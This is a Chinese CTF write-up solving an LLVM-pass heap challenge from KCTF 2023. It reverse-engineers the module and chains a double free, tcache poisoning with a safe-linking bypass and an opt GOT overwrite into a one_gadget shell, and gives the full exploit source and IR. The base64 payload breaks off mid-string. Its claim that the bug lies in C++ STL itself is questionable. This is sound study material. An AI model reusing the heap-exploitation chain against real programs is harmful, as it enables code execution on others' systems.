这是一场人类与超智能AI的“生死”较量
请立刻集结,搭乘SpaceX,前往AI控制空间站
智慧博弈 谁能问鼎
看雪·2023 KCTF 年度赛于9月1日中午12点正式开赛!比赛基本延续往届模式,设置了难度值、火力值和精致度积分。由此来引导竞赛的难度和趣味度,使其更具挑战性和吸引力,同时也为参赛选手提供了更加公平、有趣的竞赛平台。
*注意:签到题持续开放,整个比赛期间均可提交答案获得积分
今天中午12:00第四题《AI控制空间站》已截止答题,该题持续了4天,全程无一人攻破此题。看来此题难度颇高,那么一起来看下该题的设计思路和解析吧。
出题战队:SU Team
战队成员:winmt、Helenccz、予柒、imlk、bj777
题目概述
LLVM PASS PWN
的题目,重点考察了C++ STL
中本身存在的一个漏洞,可导致double free
的产生。结合glibc
堆以及LLVM
的opt
中的相关特性可完成漏洞的利用,最终在不同的内核环境中寻找一条共同的劫持链,可拿到稳定的远程shell
。VecPass.so
文件并没有去符号表,本着想让各位师傅集中精力在漏洞的发掘和利用上的意图,希望各位师傅能够玩得开心。LLVM PASS PWN
的基础以及调试方法等内容可参考笔者之前写的文章:https://bbs.kanxue.com/thread-274259.htm逆向分析
opt
是LLVM
的优化器和分析器,其版本是Ubuntu LLVM version 14.0.0
,libc
对应的版本是Ubuntu GLIBC 2.35-0ubuntu3.1
。而漏洞存在于自定义的LLVM PASS
模块VecPass.so
中,故我们需要对其进行逆向分析。寻找PASS注册名
_cxx_global_var_init_10
中,可以找到这个自定义LLVM PASS
模块的PASS
注册名为winmt
,以及一个彩蛋(笑。opt -load ./VecPass.so -winmt ./exp.ll -enable-new-pm=0 -f
命令加载模块并启动LLVM
的优化分析(注意新版需要加-enable-new-pm=0
,至于-f
选项也可以不加,不影响后续利用)。定位runOnFunction函数
vtable
虚表,即可找到重写的runOnFunction
函数:runOnFunction函数分析
runOnFunction
函数中,先关闭了标准报错,然后将num
和nm
两个变量清零。接着,获取了当前处理的函数名,并将其全部转为大写字母,只有结果为KCTF
才能进行后续操作。简单来说,就是只处理函数名的大写为KCTF
的所有函数。sign
为0
,并调用run
函数进一步对当前函数中的指令进行解析操作。只有当run
函数的返回值为1
的时候,才会跳出while
循环,代表对该函数的处理结束。run函数的预处理
index
代表vector
中的编号,del_times
代表删除的次数,total_times
代表之后的create
和delete
总操作次数,初始的时候index
为-1
,del_times
为0
,total_times
为0
。然后会实例化15
个ChunkInfo
类的对象,并依次push_back
放入C++ STL Vector
中。56
号,即Call
操作符的时候(从/usr/include/llvm-xx/llvm/IR/Instruction.def
中可查到),才会跳出循环进一步解析处理。Call
操作符调用的不同函数及参数做不同的解析处理了。恢复ChunkInfo类
create
等操作,很容易恢复出ChunkInfo
的成员变量如下:size
是堆块大小,buf
指向申请分配的堆块区域。ChunkInfo
类的构造函数ChunkInfo::ChunkInfo()
如下,初始化清零操作:ChunkInfo
类的析构函数ChunkInfo::~ChunkInfo
如下,对堆块进行释放:create操作
create
函数,则需要有两个参数(这里getNumOperands
的值需要为3
是因为算上了被调用者)。然后,当前total_times
(创建和删除总操作次数)不得超过15
次。此外,还需要index
和del_times
的和小于14
,即仍存在的和已删除的vector
中元素的数量和,确保vector
不溢出。llvm::isa<llvm::ConstantInt,llvm::Value *>
判断参数是否为常数,再用getArgOperand(xxx, 0)
和getZExtValue
获取create
函数的第一个参数值,即堆块可用区域的大小,范围是[0x10, 0x100)
。vector
中的下一个未使用对象的buf
指针中。create
函数的第二个参数可以是0/1/2
,若为0
则不进行任何操作,若为1
则将申请的堆块(buf
指针指向的地址)中的前八个字节给全局变量num
,若为2
则相反地将num
的值赋给堆块的前八个字节。remake操作
remake
操作受标记变量sign
控制,每个KCTF
函数只能调用一次。remake
函数可以有三个参数,其中第一个参数代表着vector
中需要重置的对象编号,后面两个参数和create
操作相同。delete操作
delete
函数仅有一个参数,代表着需要删除的vector
中的对象编号。此外,当前total_times
(创建和删除总操作次数)不得超过15
次才能执行delete
操作。vector
的迭代器,找到对应编号的vector
元素,先将此对象中的size
和buf
变量清空,再用erase
直接对这个vector
元素进行删除处理。index
编号减一,del_times
删除次数加一。加减运算操作
add
和sub
操作都只有一个参数,代表全局变量num
所需加减的值。位运算操作
and/or/xor
三种,在做位运算操作前都需要将num
只取后四个字节。根据传入的单一参数值,位运算分为两种:将全局变量num
和nm
进行相应位运算操作和与传入的参数值进行位运算操作。swap操作
swap
操作无参数,但受全局变量used
控制,整个程序执行过程中只能调用一次。swap
操作会将全局变量num
和nm
的值相互交换。end操作
end
操作无参数,会返回1
,使得跳出runOnFunction
中的while
循环,表示该KCTF
函数处理完成。0
,并将instIter
往后移动一位,再次重新调用run
函数,接着当前指令之后继续解析处理。C++ STL 中的一个漏洞
C++ STL
的vector
容器。在delete
操作中,在对某个对象删除的时候会将对应的vector
元素用erase
直接删除掉。源码分析
C++ STL
中vector
容器的erase
操作删除单个元素时的源码:
iterator erase(iterator position)
{
if (position + 1 != end())
copy(position + 1, finish, position);
--finish;
destroy(finish);
return position;
}
copy(first, last, result)
函数会将区间[first, last)
内的元素复制到[result, result+(last-first))
区间内。然后将finish
位置往前移动一位。destroy(finish)
语句,destroy
函数会将对应指针所指的元素析构掉。因此,此处执行的析构函数是当前vector
中最后一个元素的,而并非被删除的元素的!vector
中存在五个元素1 2 3 4 5
,现在删除3
号元素,那么此时vector
中的元素变为1 2 4 5 (5)
,size
变为4
,但是最后一个5
号元素的空间仍存在。然后将会调用现有的1 2 4 5
中最后的5
号元素的析构函数。漏洞分析
vector
中最后一个元素析构,其中的堆块会被释放掉,然而vector
中最后一个元素仍保留在容器中,当vector
容器被销毁时,会从左到右依次执行每个元素的析构函数,此时最后一个元素的堆块会被释放两次,就可能造成double free
,笔者认为这是C++ STL
中残留的一个漏洞。vector
是run
函数中局部定义的,在run
函数返回时会销毁。首先先初始化了15
个对象,其中buf
指向NULL
,依次压入了vector
中。若是没有用create
操作将vector
填满,即使erase
删除,析构的最后一个元素中对象的buf
指针是NULL
,并不会造成double free
。因此,我们需要先将15
个vector
中对象的堆块指针分配填满,这样就可以构造出double free
了。漏洞利用
构造double free
libc-2.35
,tcache chunk
中会有key
字段来标记该堆块是否已经存在于tcache list
中。因此,我们不能直接在tcache list
中double free
,而fastbin
中只会检测相邻的两个堆块是否一样,可用A->B->A
的方式绕过,故可采用fastbin reverse into tcache
的方式。简单来说,就是由于stashing
机制,当tcache list
中有空余位置的时候,若申请到fastbin
中的堆块,则会将fastbin
中之后的堆块甩入tcache list
至满。因此,如果此时tcache list
全被取出为空,fastbin
中堆块是A->B->A
,那么申请出A
堆块,并在next
指针写入target_addr
,那么之后tcache list
中将有三个元素B->A->target_addr
,继而可申请出target_addr
任意地址写。create
和delete
操作一共最多只有16
次机会,而根据上文分析,我们需要将create
填满,这需要15
次操作,那么最后只能delete
操作1
次。然而,可以注意到vector
是定义在run
函数中的局部容器,在run
函数返回后,vector
容器会被销毁,届时将会从左至右依次执行其中每个对象的析构函数,即堆块会被依次释放。不难想到,可以先通过erase
释放最后一个元素的堆块,再通过每个KCTF
函数唯一一次的remake
操作机会将其申请回来,这样vector
中就会有两个相同的堆块,并使其前面有七个同样大小的堆块,两个相同的堆块之间间隔一个堆块。最后,在vector
容器销毁的时候,tcache list
将被填满,fastbin
中也会出现double free
的相同堆块。
create(0x50, 0); // 0
create(0x50, 0); // 1
create(0x50, 0); // 2
create(0x50, 0); // 3
create(0x50, 0); // 4
create(0x50, 0); // 5
create(0x50, 0); // 6
create(0x10, 0); // 7
create(0x10, 0); // 8
create(0x10, 0); // 9
create(0x10, 0); // 10
create(0x10, 0); // 11
create(0x10, 0); // 12
create(0x50, 0); // 13
create(0x50, 0); // 14
delete(8);
remake(11, 0x50, 0);
ret();
ret()
,而并未用end()
,这是因为若是end()
则会重新调用runOnFunction
到下一个大写后是KCTF
的函数,这个过程中涉及到了大堆块分配与释放的操作,会产生malloc_consolidate
使fastbin
中的堆块合并或下放,而此时fastbin list
中存在double free
的非法情况,会造成报错处理。因此,我们使用未定义函数ret()
,使得接下来重新调用run()
函数继续对该函数中的指令解析处理。劫持opt中的got表
double free
可任意地址写以后,加上create
的第二个参数,我们可以实现对堆块读取或写入数值,从而进行劫持。这里的劫持是需要修改tcache
的next
指针,由于glibc 2.35
存在safe-linking
机制,需要修改的值与tcache
堆块地址右移12
位得到的key
相异或写入。这里的key
只需要读取tcache list
末尾chunk
的next
指针(与0
异或)即可得到。异或操作的运算也是有的,不过在进行位运算之前会将存储的数值num
只取后四个字节,这就意味着我们不能劫持到如类似libc
这样的长地址。VecPass.so
是由opt
加载的,而opt
是没有地址随机化PIE
保护的,且got
表也是可写的。故可以对opt
的got
表进行劫持,这是一个短地址,在四字节以内,满足要求。opt
的哪一个got
表呢?显然是得劫持runOnFunction
函数全部处理结束后走到的plt
表对应的got
表。那么我们也就需要找到调用runOnFunction
函数的最上层入口。runOnFunction
函数的最上层入口是位于0x434686
位置的call llvm::legacy::PassManager::run(llvm::Module&)@plt
。ni
跳过后,后面所调用的plt
表对应的got
表都是可以劫持的,结合one_gadget
的相关条件,很遗憾对所有可劫持的got
表都没有直接能满足条件的one_gadget
。不过,我们可以再进行一次任意地址的劫持,使得one_gadget
满足条件,具体操作在下一节说明。llvm::Module::~Module()@plt
对应的got
表(地址为0x4476A0
),并将其改为位于libc
基地址偏移0xebdb3
处的one_gadget
(具体的劫持方法不唯一,但思路都应该一致)。
create(0x50, 0); // 0
create(0x50, 0); // 1
create(0x50, 0); // 2
create(0x50, 0); // 3
create(0x50, 0); // 4
create(0x50, 0); // 5
create(0x50, 1); // 6
xor(0x4476A0);
create(0x50, 2); // 7
delete(7);
create(0x60, 1); // 7
sub(0x219ce0);
create(0x50, 0); // 8
create(0x50, 0); // 9
add(0xebdb3);
create(0x50, 2); // 10
delete(10);
end();
create(0x60, 1)
从unsorted bin
中分割出堆块,获得libc
地址。需要说明的是其中的两次delete
操作:第一个delete(7)
是因为此时的7
号堆块是double free
的堆块,与之后的9
号堆块相同,若这里不删除,又会造成二次double free
,最后end()
返回后就会出现报错,具体原因上文已经说明了;第二个delete(10)
是因为此时10
号堆块中存放的是非法堆块地址,若不删除的话,之后vector
销毁后析构的时候会报错,而此处用erase
删除并不会触发此堆块对应的析构函数,并且之前已经将buf
指针清空,不会出问题。二次劫持
llvm::Module::~Module()@got.plt
劫持后的执行情况如下:
0x4168e0 <llvm::Module::~Module()@plt> jmp qword ptr [rip + 0x30dba] <execvpe+1331>
↓
0x7ffff0eebdb3 <execvpe+1331> lea r10, [rbp - 0x50]
0x7ffff0eebdb7 <execvpe+1335> mov qword ptr [rbp - 0x50], rax
0x7ffff0eebdbb <execvpe+1339> jmp execvpe+1129 <execvpe+1129>
↓
0x7ffff0eebce9 <execvpe+1129> mov qword ptr [r10 + 0x10], 0
0x7ffff0eebcf1 <execvpe+1137> mov rdx, qword ptr [rbp - 0x70]
0x7ffff0eebcf5 <execvpe+1141> mov rsi, r10
0x7ffff0eebcf8 <execvpe+1144> lea rdi, [rip + 0xec999]
0x7ffff0eebcff <execvpe+1151> mov qword ptr [rbp - 0x78], r9
0x7ffff0eebd03 <execvpe+1155> call execve <execve>
rax=0
,是满足[rbp-0x50] == NULL
的条件的,但并不满足[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
的条件。不过,调试可知,此时[rbp-0x70]
中存放的是一个堆块地址,并且opt
执行的时候堆区地址比较特殊,只有三个字节,故我们是可以劫持到这个堆块地址(后文称为目标堆地址)并将其中的值改为0
的。double free
的部分和上文一致,只需要换个堆块大小就行了,这里也就不再赘述了。由于目标堆地址是未知的,我们需要先从tcache/fastbin
中读取出一个异或加密后的堆地址并用key
异或还原(或者是从smallbin
中直接读取),再通过得到的堆地址加减偏移得到目标堆地址,然后再用key
异或后写入double free
的堆块的fd/next
指针中。由上述过程可知,我们需要先将safe-linking
异或加解密用的key
通过swap
操作机会存到全局变量nm
中,且由于只有一次swap
的机会,如果需要有解密过程,加密过程和解密过程使用的key
最好是同一个或者是只有最后一位不同(解密的时候可用and
将最后一位置零)。寻找稳定的劫持链
opt
程序在加载LLVM PASS
模块运行的过程中受内核环境的影响较大,同样的操作在不同内核环境下的堆栈布局是有差别的。因此,在A
内核环境下计算的某堆块地址与目标堆块地址的偏移与B
内核环境下极有可能是不同的。docker
和主机是共享内核的,我们并不知道远程环境的内核版本是多少,因此我们需要在本地搭建两个不同的内核环境(最好版本相差较大),并寻找到一条共同的劫持链,这条劫持链大概率就是稳定的。
create(0x70, 0); // 0
create(0x70, 0); // 1
create(0x70, 0); // 2
create(0x70, 0); // 3
create(0x70, 0); // 4
create(0x70, 0); // 5
create(0x70, 0); // 6
create(0x60, 1); // 7
swap();
create(0x50, 1); // 8
xor(0);
add(0x10eb0);
xor(0);
create(0x70, 2); // 9
delete(9);
create(0x70, 0); // 9
create(0x70, 0); // 10
and(0);
create(0x70, 2); // 11
delete(11);
end();
0x70
的tcache
,得到key
为0x4f3
,再申请出0x60
的堆块,通过异或解密出其next
指针的堆地址为0x4f32f0
,由于笔者是直接用gdb
调试的,没有aslr
,由上文截图中可知目标堆块的地址为0x5041a0
,相差的偏移为0x10eb0
,最后再将得到的目标堆块地址通过同样的key
异或加密后写入fastbin
中double free
的0x4f3670
的fd/next
指针,最终由fastbin reverse into tcache
即可完成二次劫持,将目标堆块置零,满足one_gadget
的条件。exp
exp
脚本如下:
void create(unsigned int size, unsigned int choice);
void remake(unsigned int index, unsigned int size, unsigned int choice);
void delete(unsigned int index);
void add(unsigned int val);
void sub(unsigned int val);
void and(unsigned int val);
void or(unsigned int val);
void xor(unsigned int val);
void swap();
void ret();
void end();
void KCTF()
{
create(0x50, 0); // 0
create(0x50, 0); // 1
create(0x50, 0); // 2
create(0x50, 0); // 3
create(0x50, 0); // 4
create(0x50, 0); // 5
create(0x50, 0); // 6
create(0x10, 0); // 7
create(0x10, 0); // 8
create(0x10, 0); // 9
create(0x10, 0); // 10
create(0x10, 0); // 11
create(0x10, 0); // 12
create(0x50, 0); // 13
create(0x50, 0); // 14
delete(8);
remake(11, 0x50, 0);
ret();
create(0x50, 0); // 0
create(0x50, 0); // 1
create(0x50, 0); // 2
create(0x50, 0); // 3
create(0x50, 0); // 4
create(0x50, 0); // 5
create(0x50, 1); // 6
xor(0x4476A0);
create(0x50, 2); // 7
delete(7);
create(0x60, 1); // 7
sub(0x219ce0);
create(0x50, 0); // 8
create(0x50, 0); // 9
add(0xebdb3);
create(0x50, 2); // 10
delete(10);
end();
}
void kctf()
{
create(0x70, 0); // 0
create(0x70, 0); // 1
create(0x70, 0); // 2
create(0x70, 0); // 3
create(0x70, 0); // 4
create(0x70, 0); // 5
create(0x70, 0); // 6
create(0x10, 0); // 7
create(0x10, 0); // 8
create(0x10, 0); // 9
create(0x10, 0); // 10
create(0x10, 0); // 11
create(0x10, 0); // 12
create(0x70, 0); // 13
create(0x70, 0); // 14
delete(8);
remake(11, 0x70, 0);
ret();
create(0x70, 0); // 0
create(0x70, 0); // 1
create(0x70, 0); // 2
create(0x70, 0); // 3
create(0x70, 0); // 4
create(0x70, 0); // 5
create(0x70, 0); // 6
create(0x60, 1); // 7
swap();
create(0x50, 1); // 8
xor(0);
add(0x10eb0);
xor(0);
create(0x70, 2); // 9
delete(9);
create(0x70, 0); // 9
create(0x70, 0); // 10
and(0);
create(0x70, 2); // 11
delete(11);
end();
}
clang -emit-llvm -S exp.c -o exp.ll
命令编译得到的exp.ll
如下:
; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @KCTF() #0 {
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @delete(i32 noundef 8)
call void @remake(i32 noundef 11, i32 noundef 80, i32 noundef 0)
call void (...) @ret()
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 1)
call void @xor(i32 noundef 4486816)
call void @create(i32 noundef 80, i32 noundef 2)
call void @delete(i32 noundef 7)
call void @create(i32 noundef 96, i32 noundef 1)
call void @sub(i32 noundef 2202848)
call void @create(i32 noundef 80, i32 noundef 0)
call void @create(i32 noundef 80, i32 noundef 0)
call void @add(i32 noundef 966067)
call void @create(i32 noundef 80, i32 noundef 2)
call void @delete(i32 noundef 10)
call void (...) @end()
ret void
}
declare void @create(i32 noundef, i32 noundef) #1
declare void @delete(i32 noundef) #1
declare void @remake(i32 noundef, i32 noundef, i32 noundef) #1
declare void @ret(...) #1
declare void @xor(i32 noundef) #1
declare void @sub(i32 noundef) #1
declare void @add(i32 noundef) #1
declare void @end(...) #1
; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @kctf() #0 {
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 16, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @delete(i32 noundef 8)
call void @remake(i32 noundef 11, i32 noundef 112, i32 noundef 0)
call void (...) @ret()
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 96, i32 noundef 1)
call void (...) @swap()
call void @create(i32 noundef 80, i32 noundef 1)
call void @xor(i32 noundef 0)
call void @add(i32 noundef 69296)
call void @xor(i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 2)
call void @delete(i32 noundef 9)
call void @create(i32 noundef 112, i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 0)
call void @and(i32 noundef 0)
call void @create(i32 noundef 112, i32 noundef 2)
call void @delete(i32 noundef 11)
call void (...) @end()
ret void
}
declare void @swap(...) #1
declare void @and(i32 noundef) #1
attributes #0 = { noinline nounwind optnone uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 7, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"Ubuntu clang version 14.0.0-1ubuntu1"}
exp.ll
使用base64
编码后发送给远程server
(最后以单独一行END
结尾):
Please enter the base64 encrypted exp.ll file (end with "END" in a separate line) :
OyBNb2R1bGVJRCA9ICdleHAuYycKc291cmNlX2ZpbGVuYW1lID0gImV4cC5jIgp0YXJnZXQgZGF0
YWxheW91dCA9ICJlLW06ZS1wMjcwOjMyOjMyLXAyNzE6MzI6MzItcDI3Mjo2NDo2NC1pNjQ6NjQt
ZjgwOjEyOC1uODoxNjozMjo2NC1TMTI4Igp0YXJnZXQgdHJpcGxlID0gIng4Nl82NC1wYy1saW51
eC1nbnUiCgo7IEZ1bmN0aW9uIEF0dHJzOiBub2lubGluZSBub3Vud2luZCBvcHRub25lIHV3dGFi
bGUKZGVmaW5lIGRzb19sb2NhbCB2b2lkIEBLQ1RGKCkgIzAgewogIGNhbGwgdm9pZCBAY3JlYXRl
KGkzMiBub3VuZGVmIDgwLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBu
b3VuZGVmIDgwLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVm
IDgwLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBp
MzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIgbm91
bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIgbm91bmRlZiAw
KQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIgbm91bmRlZiAwKQogIGNh
bGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9p
ZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3Jl
YXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkz
MiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3Vu
ZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2
LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIg
bm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIgbm91bmRl
ZiAwKQogIGNhbGwgdm9pZCBAZGVsZXRlKGkzMiBub3VuZGVmIDgpCiAgY2FsbCB2b2lkIEByZW1h
a2UoaTMyIG5vdW5kZWYgMTEsIGkzMiBub3VuZGVmIDgwLCBpMzIgbm91bmRlZiAwKQogIGNhbGwg
dm9pZCAoLi4uKSBAcmV0KCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMy
IG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5k
ZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5kZWYgMCkK
ICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5kZWYgMCkKICBjYWxs
IHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQg
QGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0
ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5kZWYgMSkKICBjYWxsIHZvaWQgQHhvcihpMzIgbm91
bmRlZiA0NDg2ODE2KQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDgwLCBpMzIgbm91
bmRlZiAyKQogIGNhbGwgdm9pZCBAZGVsZXRlKGkzMiBub3VuZGVmIDcpCiAgY2FsbCB2b2lkIEBj
cmVhdGUoaTMyIG5vdW5kZWYgOTYsIGkzMiBub3VuZGVmIDEpCiAgY2FsbCB2b2lkIEBzdWIoaTMy
IG5vdW5kZWYgMjIwMjg0OCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMy
IG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91bmRlZiA4MCwgaTMyIG5vdW5k
ZWYgMCkKICBjYWxsIHZvaWQgQGFkZChpMzIgbm91bmRlZiA5NjYwNjcpCiAgY2FsbCB2b2lkIEBj
cmVhdGUoaTMyIG5vdW5kZWYgODAsIGkzMiBub3VuZGVmIDIpCiAgY2FsbCB2b2lkIEBkZWxldGUo
aTMyIG5vdW5kZWYgMTApCiAgY2FsbCB2b2lkICguLi4pIEBlbmQoKQogIHJldCB2b2lkCn0KCmRl
Y2xhcmUgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmLCBpMzIgbm91bmRlZikgIzEKCmRlY2xhcmUg
dm9pZCBAZGVsZXRlKGkzMiBub3VuZGVmKSAjMQoKZGVjbGFyZSB2b2lkIEByZW1ha2UoaTMyIG5v
dW5kZWYsIGkzMiBub3VuZGVmLCBpMzIgbm91bmRlZikgIzEKCmRlY2xhcmUgdm9pZCBAcmV0KC4u
LikgIzEKCmRlY2xhcmUgdm9pZCBAeG9yKGkzMiBub3VuZGVmKSAjMQoKZGVjbGFyZSB2b2lkIEBz
dWIoaTMyIG5vdW5kZWYpICMxCgpkZWNsYXJlIHZvaWQgQGFkZChpMzIgbm91bmRlZikgIzEKCmRl
Y2xhcmUgdm9pZCBAZW5kKC4uLikgIzEKCjsgRnVuY3Rpb24gQXR0cnM6IG5vaW5saW5lIG5vdW53
aW5kIG9wdG5vbmUgdXd0YWJsZQpkZWZpbmUgZHNvX2xvY2FsIHZvaWQgQGtjdGYoKSAjMCB7CiAg
Y2FsbCB2b2lkIEBjcmVhdGUoaTMyIG5vdW5kZWYgMTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwg
dm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQg
QGNyZWF0ZShpMzIgbm91bmRlZiAxMTIsIGkzMiBub3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVh
dGUoaTMyIG5vdW5kZWYgMTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkz
MiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91
bmRlZiAxMTIsIGkzMiBub3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVhdGUoaTMyIG5vdW5kZWYg
MTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBp
MzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91
bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAw
KQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNh
bGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9p
ZCBAY3JlYXRlKGkzMiBub3VuZGVmIDE2LCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3Jl
YXRlKGkzMiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShp
MzIgbm91bmRlZiAxMTIsIGkzMiBub3VuZGVmIDApCiAgY2FsbCB2b2lkIEBkZWxldGUoaTMyIG5v
dW5kZWYgOCkKICBjYWxsIHZvaWQgQHJlbWFrZShpMzIgbm91bmRlZiAxMSwgaTMyIG5vdW5kZWYg
MTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCAoLi4uKSBAcmV0KCkKICBjYWxsIHZvaWQg
QGNyZWF0ZShpMzIgbm91bmRlZiAxMTIsIGkzMiBub3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVh
dGUoaTMyIG5vdW5kZWYgMTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkz
MiBub3VuZGVmIDExMiwgaTMyIG5vdW5kZWYgMCkKICBjYWxsIHZvaWQgQGNyZWF0ZShpMzIgbm91
bmRlZiAxMTIsIGkzMiBub3VuZGVmIDApCiAgY2FsbCB2b2lkIEBjcmVhdGUoaTMyIG5vdW5kZWYg
MTEyLCBpMzIgbm91bmRlZiAwKQogIGNhbGwgdm9pZCBAY3JlYXRlKGkzMiBub3VuZGVmIDExMiwg
